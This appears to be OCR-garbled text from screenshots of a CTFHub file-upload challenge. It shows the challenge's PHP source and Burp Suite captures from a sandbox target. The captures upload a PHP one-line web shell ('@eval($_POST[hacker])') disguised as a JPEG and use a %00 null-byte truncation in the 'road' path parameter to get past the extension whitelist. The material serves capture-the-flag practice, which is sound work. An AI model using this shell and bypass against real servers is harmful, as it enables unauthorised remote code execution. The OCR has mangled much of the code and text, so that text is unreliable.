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[ Enable Post data [ ] Enable Referrer

<title>CTFHub W LA% — 00#kIKi</title>
</head>

<{body>
<h1>CTFHub ff L% - 008Wr</hl>
{form action=?road=/var/www/html/upload/ method="post” enctype="multipart/form-data”>
{label for="file”>Filename:</label>
<input type="file” name="file” id="file” />
<br />
{input type="submit” name="submit” value="Submit” />
</form>
ﬂ/.‘fff
if (lempty ($ POST[ submit’J)) {
Sname = basename (§ _FILES file’ ][ name’]);
$info = pathinfo($name)
Sext = $infol extension’];
Swhitelist = array("jpg”, “png”, “gif”);
if (in_array (Sext, $whitelist)) {
S$des = § GET['road’] . 777 . rand(10, 99) . date("¥mdHis™) . 7. 7. Sext;
if (move _uploaded file($ FILES[ file' ][ tmp name'], Sdes)) {
echo “<{scriptralert (" [ f&ikL’ )</script>”;
} else {
echo “<{scriptralert (" [f&X MW )</script>”;
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echo "X fEHEHAILHI”;
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Burp Project Intruder Repeater Window Help

[Dashboard [Target I Proxy ] Intruder IRepeaterI Sequencer [ Decoder [ Comparer ] Extender IProject options [User options

204 |

Go Cancel | < |v| > |¥ Target: http://challenge-733eec8f9e1ef0df.sandbox.ctfhub.com:10080 / @

Request Response

Raw | Params | Headers | Hex JRawTHeaders Hex | HTML [Render}
Gecko/20100101 Firefox/56.0 + HTTP/1.1 200 OK R
Accept: Server: openresty/1.15.8.2
text/htmlapplication/xhtml+xmlapplication/xml:;q=0.9,*/*,q=0.8 Date: Mon, 06 Jul 2020 13:46:00 GMT
Accept-Language: zh-CN zh:q=0.8,en-US;q=0.5,en:q=0.3 Content-Type: text/html;,charset=utf-8
Accept-Encoding: gzip, deflate Content-Length: 1064
Content-Type: multipart/form-data; Connection: close
boundary=----------------e--eeeee 1682087205669 Vary: Accept-Encoding
Content-Length: 321 Access-Control-Allow-Origin: * )
Referer: Access-Control-Allow-Headers: X-Requested-With
http://challenge-733eec8{9e 1efOdf.sandbox.ctthub.com:10080/ Access-Control-Allow-Methods: *
Connection: close
Upgrade-Insecure-Requests: 1 A £ R F</DOCTYPE html>

<html>
77777777777777777777777777777 1682087205669
Content-Disposition: form-data; name="file"; filename="2.php" <head>
Content-Type: image/jpeg r <meta charset="UTF-8">
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Target: http://challenge-733eec8f9e1ef0df.sandbox.ctfhub.com:10080 / @

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

boundary=---------------eeeeee 1682087205669

Content-Length: 321

Referer:

http://challenge-733eec8f9e 1efOdf.sandbox.ctthub.com:10080/
Connection: close

Upgrade-Insecure-Requests: 1

77777777777777777777777777777 1682087205669
Content-Disposition: form-data; name="file"; filename="3.jpg"
Content-Type: image/jpeg

<?php
@eva1($ POST[hacker’]);

----------------------------- 1682087205669
Content-Disposition: form-data; name="submit"

@ EJ B EJ Type a search term

Done

v
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Request Response
Raw | Params | Headers | Hex JRawTHeaders Hex Render]
Accept-Language: zh-CN zh:q=0.8,en-US;q=0.5,en:q=0.3 + HTTP/1.1 200 OK R

Server: openresty/1.15.8.2

Date: Mon, 06 Jul 2020 13:52:08 GMT
Content-Type: text/html;,charset=utf-8
Content-Length: 1081

Connection: close

Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

<script=alert (L% M3 )</script></DOCTYPE html>
<html>

<head>

<meta charset="UTF-8">

<title>CTFHub 4+ 4% - O0#Mi</title>
</head>
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Go Cancel | < |v| > |¥
Request

Raw | Params | Headers | Hex

JRaw I Headers m Render ]

Target: http://challenge-733eec8f9e1ef0df.sandbox.ctfhub.com:10080 / @

Response

POST /7road=/var/www/html/upload/2.php%00 HTTP/1.1 K
Host: challenge-733eec8f9el edef.sanﬂUBﬁ%ﬂHﬂb.com: 10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0)
Gecko/20100101 Firefox/56.0

Accept:
text/htmlapplication/xhtml+xmlapplication/xml:;q=0.9,*/*,q=0.8
Accept-Language: zh-CN zh:q=0.8,en-US;q=0.5,en:q=0.3
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

boundary=----------------e--eeeee 1682087205669

Content-Length: 321

Referer:

http://challenge-733eec8{9e 1efOdf.sandbox.ctthub.com:10080/
Connection: close

Upgrade-Insecure-Requests: 1

77777777777777777777777777777 1682087205669
Content-Disposition: form-data; name="file"; filename="3jpg"
Content-Type: image/jpeg e
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HTTP/1.1 200 OK T
Server: openresty/1.15.8.2

Date: Mon, 06 Jul 2020 13:52:08 GMT
Content-Type: text/html,charset=utf-8
Content-Length: 1081

Connection: close

Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

<script=alert (LA Mz )</script></DOCTYPE html>

<html>

<head>

<meta charset="UTF-8">

<title>CTFHub A _E4% - 004k #i</title>
</head>
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